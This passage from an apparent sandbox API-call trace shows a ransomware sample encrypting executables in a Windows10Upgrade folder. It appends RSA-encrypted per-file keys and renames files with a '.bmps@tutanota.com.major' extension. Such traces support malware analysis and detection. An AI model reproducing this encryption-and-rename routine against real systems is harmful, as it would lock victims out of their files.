cAlternateFileName="UPGRAD~2.LOG")) returned 1 [0129.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0129.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0129.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0129.306] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63f06a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63f06a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x880c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wimgapi.dll", cAlternateFileName="")) returned 1 [0129.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ba0 [0129.307] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea642af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea642af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xdf8c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="windlp.dll", cAlternateFileName="")) returned 1 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7be8 [0129.307] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64a022, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64a022, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x159ac8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows10UpgraderApp.exe", cAlternateFileName="WINDOW~1.EXE")) returned 1 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0129.307] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64ee41, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64ee41, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="WinREBootApp32.exe", cAlternateFileName="WINREB~1.EXE")) returned 1 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] GetLastError () returned 0x0 [0129.307] SetLastError (dwErrCode=0x0) [0129.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0129.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.308] GetLastError () returned 0x0 [0129.308] SetLastError (dwErrCode=0x0) [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0129.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0129.308] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 1 [0129.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.308] GetLastError () returned 0x0 [0129.308] SetLastError (dwErrCode=0x0) [0129.308] GetLastError () returned 0x0 [0129.308] SetLastError (dwErrCode=0x0) [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0129.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.308] GetLastError () returned 0x0 [0129.308] SetLastError (dwErrCode=0x0) [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0129.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0129.308] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 0 [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0129.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.308] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.308] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\WinREBootApp64.exe", dwFileAttributes=0x80) returned 1 [0129.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be790 [0129.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0129.309] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0129.309] CreateFileW (lpFileName="\\Windows10Upgrade\\WinREBootApp64.exe" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.309] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=25800) returned 1 [0129.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x64c8) returned 0x5d7830 [0129.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x64c8) returned 0x5ddd00 [0129.309] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x64c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x64c8, lpOverlapped=0x0) returned 1 [0129.324] SetFilePointer (in: hFile=0x470, lDistanceToMove=-25800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.324] WriteFile (in: hFile=0x470, lpBuffer=0x5ddd00*, nNumberOfBytesToWrite=0x64c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ddd00*, lpNumberOfBytesWritten=0x2e3f9b4*=0x64c8, lpOverlapped=0x0) returned 1 [0129.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0129.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ddd00 | out: hHeap=0x570000) returned 1 [0129.325] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x64c8 [0129.325] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.325] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.325] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.325] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.327] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.327] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="yb1wwnvFyHnSWKECn1+UY5CuuMsA6zn6T9+xecQmMrBP6GN3W6odoir+lkFHcKyc\nbojhMYGIWyHqu3uzrNx6YBfr5IK+2R16B41vZSD8W3Y5u7FMoqfA6hgxj5yawMnq\n9u2Nkf/rPhxHa69hiXl5kAq7u4OvgMs7nndBtQDzRWi9pSjbDwTApj1t+vXvICjr\n+J/fxVOSqkfmtHZXd86Rm/TBKXEL69emyyMRWcqMrXk5kqeJfkVrFABHhCjsSHS+\nDS77kyftD31KOB26Y3RXygD6ZIoaFi4PjsbpmDW2CHiYeBU/htINkWE9nQ3r0cQJ\na58cWGbLcfi+Ak4Ttd5GlQ==\n", pcchString=0x2e3f9a8) returned 1 [0129.327] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.327] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.327] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.327] CloseHandle (hObject=0x470) returned 1 [0129.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.328] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\WinREBootApp64.exe" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe"), lpNewFileName="\\Windows10Upgrade\\WinREBootApp64.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0129.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0129.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be5d8 [0129.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.331] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.331] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\WinREBootApp32.exe", dwFileAttributes=0x80) returned 1 [0129.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0129.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0129.331] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0129.331] CreateFileW (lpFileName="\\Windows10Upgrade\\WinREBootApp32.exe" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.331] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=25288) returned 1 [0129.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x62c8) returned 0x5d7830 [0129.332] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x62c8) returned 0x5ddb00 [0129.332] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x62c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x62c8, lpOverlapped=0x0) returned 1 [0129.365] SetFilePointer (in: hFile=0x470, lDistanceToMove=-25288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.365] WriteFile (in: hFile=0x470, lpBuffer=0x5ddb00*, nNumberOfBytesToWrite=0x62c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ddb00*, lpNumberOfBytesWritten=0x2e3f9b4*=0x62c8, lpOverlapped=0x0) returned 1 [0129.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0129.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ddb00 | out: hHeap=0x570000) returned 1 [0129.367] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x62c8 [0129.367] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.367] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.367] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.367] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.369] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.369] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="TJnzOnAA7rG9X73kcwvaA7skprNHzLHjkW99yzZcH/rrtz7Pili8Q8f3H65vyXBA\nFrCZ6Nsp7cViOJlZDzlyddsmXuI2/iWR7aa4cgNPGkmYUdIW/9yvsroOxG98Tnvf\nD+kq3uFPfDmpjGOpBPuNJqVocjsUBhGk+ljTWLkmC0nyqiXNF3Na7zvsPuG/OoKU\nMSYFh4dXl8U90UstuNr8I40qkDcjJ3Z8OdPKnpVLIqsbcsooVXneI8t45OLRBuF1\np+9EipYIBdLhid3BCTWOzWAqFbOTd32wFuJ1ZKFEWDoBfmo2881P9pYZqfhxQbtE\n0wLXz2yeflSH0sCqO2AURw==\n", pcchString=0x2e3f9a8) returned 1 [0129.369] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.369] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.369] CloseHandle (hObject=0x470) returned 1 [0129.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.370] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\WinREBootApp32.exe" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe"), lpNewFileName="\\Windows10Upgrade\\WinREBootApp32.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be5d8 | out: hHeap=0x570000) returned 1 [0129.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0129.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0129.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.372] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.372] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe", dwFileAttributes=0x80) returned 1 [0129.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0129.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0129.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0129.373] CreateFileW (lpFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.373] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1415880) returned 1 [0129.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x159ac8) returned 0x314d020 [0129.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x159ac8) returned 0x32bf020 [0129.374] ReadFile (in: hFile=0x470, lpBuffer=0x314d020, nNumberOfBytesToRead=0x159ac8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314d020*, lpNumberOfBytesRead=0x2e3f9b4*=0x159ac8, lpOverlapped=0x0) returned 1 [0129.530] SetFilePointer (in: hFile=0x470, lDistanceToMove=-1415880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.530] WriteFile (in: hFile=0x470, lpBuffer=0x32bf020*, nNumberOfBytesToWrite=0x159ac8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32bf020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x159ac8, lpOverlapped=0x0) returned 1 [0129.539] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314d020 | out: hHeap=0x570000) returned 1 [0129.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x32bf020 | out: hHeap=0x570000) returned 1 [0129.540] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x159ac8 [0129.540] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.540] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.540] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.540] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.541] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.541] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="kdJ/8Dvp2PbPB8TEK3gHUf5ttErG8NV5/3OzqOp7tV8F4NQzY4qsbRTesHn+qibM\nr/K1a8+tF2Kq9XzNXbmDcUYxJEJJyG3fqhpvErGAwEqwLez9W0vcSnmIhCn4RAmy\nrpNTqS6IY0x2/XbKslxpKswJ0jXryN6qL6SJa2WXsCyDwD1//5WnBxkgmR3mN2jv\nQ4weJlN7g9YKi3BreudBX9MzhhDruB6ABscxBJvCTAS4XnuySNpr7duAFM4hF8+U\nwjPX9Q4bn5YGCfhAJW+UbKJykZ97StPTFwyeCgs8T9L62MWiid23hh8MIr/8NUxA\nulxyLWfF3RgDVAedzHaNMw==\n", pcchString=0x2e3f9a8) returned 1 [0129.541] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.541] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.541] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.541] CloseHandle (hObject=0x470) returned 1 [0129.615] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.615] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe"), lpNewFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.628] HeapFree (in: hHeap=0x570000, 